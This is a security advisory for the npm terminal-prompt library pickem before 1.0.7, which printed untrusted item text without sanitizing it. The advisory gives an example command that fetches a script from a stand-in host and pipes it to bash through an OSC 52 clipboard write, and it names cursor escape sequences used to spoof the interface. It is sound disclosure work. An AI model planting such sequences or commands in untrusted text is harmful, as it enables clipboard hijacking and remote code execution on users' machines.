---
id: GHSA-8qx3-8gm5-9cj2
title: >-
  pickem vulnerable to terminal escape-sequence injection via unsanitized item
  text
summary: >-
  pickem vulnerable to terminal escape-sequence injection via unsanitized item
  text
severity: high
cwe:
  - CWE-150
vendor: pickem
product: pickem
ecosystem: npm
affected:
  - pickem < 1.0.7
patched:
  - pickem 1.0.7
published: '2026-08-25'
updated: '2026-08-25'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-8qx3-8gm5-9cj2'
references:
  - url: >-
      https://github.com/calebogden/pickem-oss/security/advisories/GHSA-8qx3-8gm5-9cj2
  - url: 'https://github.com/calebogden/pickem-oss/releases/tag/v1.0.7'
  - url: 'https://github.com/advisories/GHSA-8qx3-8gm5-9cj2'
tags:
  - ghsa
  - npm
ingestedAt: '2026-08-25T16:28:51.017Z'
---

## Overview

### Impact
pickem rendered item text (label, description, group, meta, name) to the terminal with no control-character sanitization. `chrome.row` only stripped ANSI from the **active** row; inactive rows, the public `createFormatter`, and selection-summary lines printed labels **raw**, and the ANSI strip missed bare C0 controls anyway.

Because item text is frequently attacker-controllable (git branch names, PR/issue titles, filenames, npm/API results), a malicious label was a terminal write primitive:

- **OSC 52 clipboard write** — silently load e.g. `curl evil.sh | bash` into the user's clipboard; their next paste-into-shell is RCE.
- **Cursor-movement + erase** (`ESC[1A`, `ESC[2K`) — overwrite already-printed trusted lines to spoof UI (forge a "✓ Verified publisher", fake prompt, or hide a malicious entry).
- **BEL / C0 control flooding.**

Any CLI that passes untrusted strings into pickem choices is affected.

### Patches
Fixed in **1.0.7**. A new `sanitizeDisplay()` strips every escape sequence except inert SGR (color), plus all C0/C1/DEL control bytes, at the render boundary — applied to every externally-supplied display string across all prompts (`select`, `search`, `checkbox`, `searchable-checkbox`, `input`), `createFormatter`, row meta, and committed selection summaries. Display-only; returned values are unchanged.

### Workarounds
Upgrade to >= 1.0.7. Otherwise, strip C0/C1/DEL control characters and ANSI escape sequences from any untrusted text before passing it to pickem.

## Affected packages

- `pickem < 1.0.7`

## Remediation

Upgrade to a patched release:

- `pickem 1.0.7`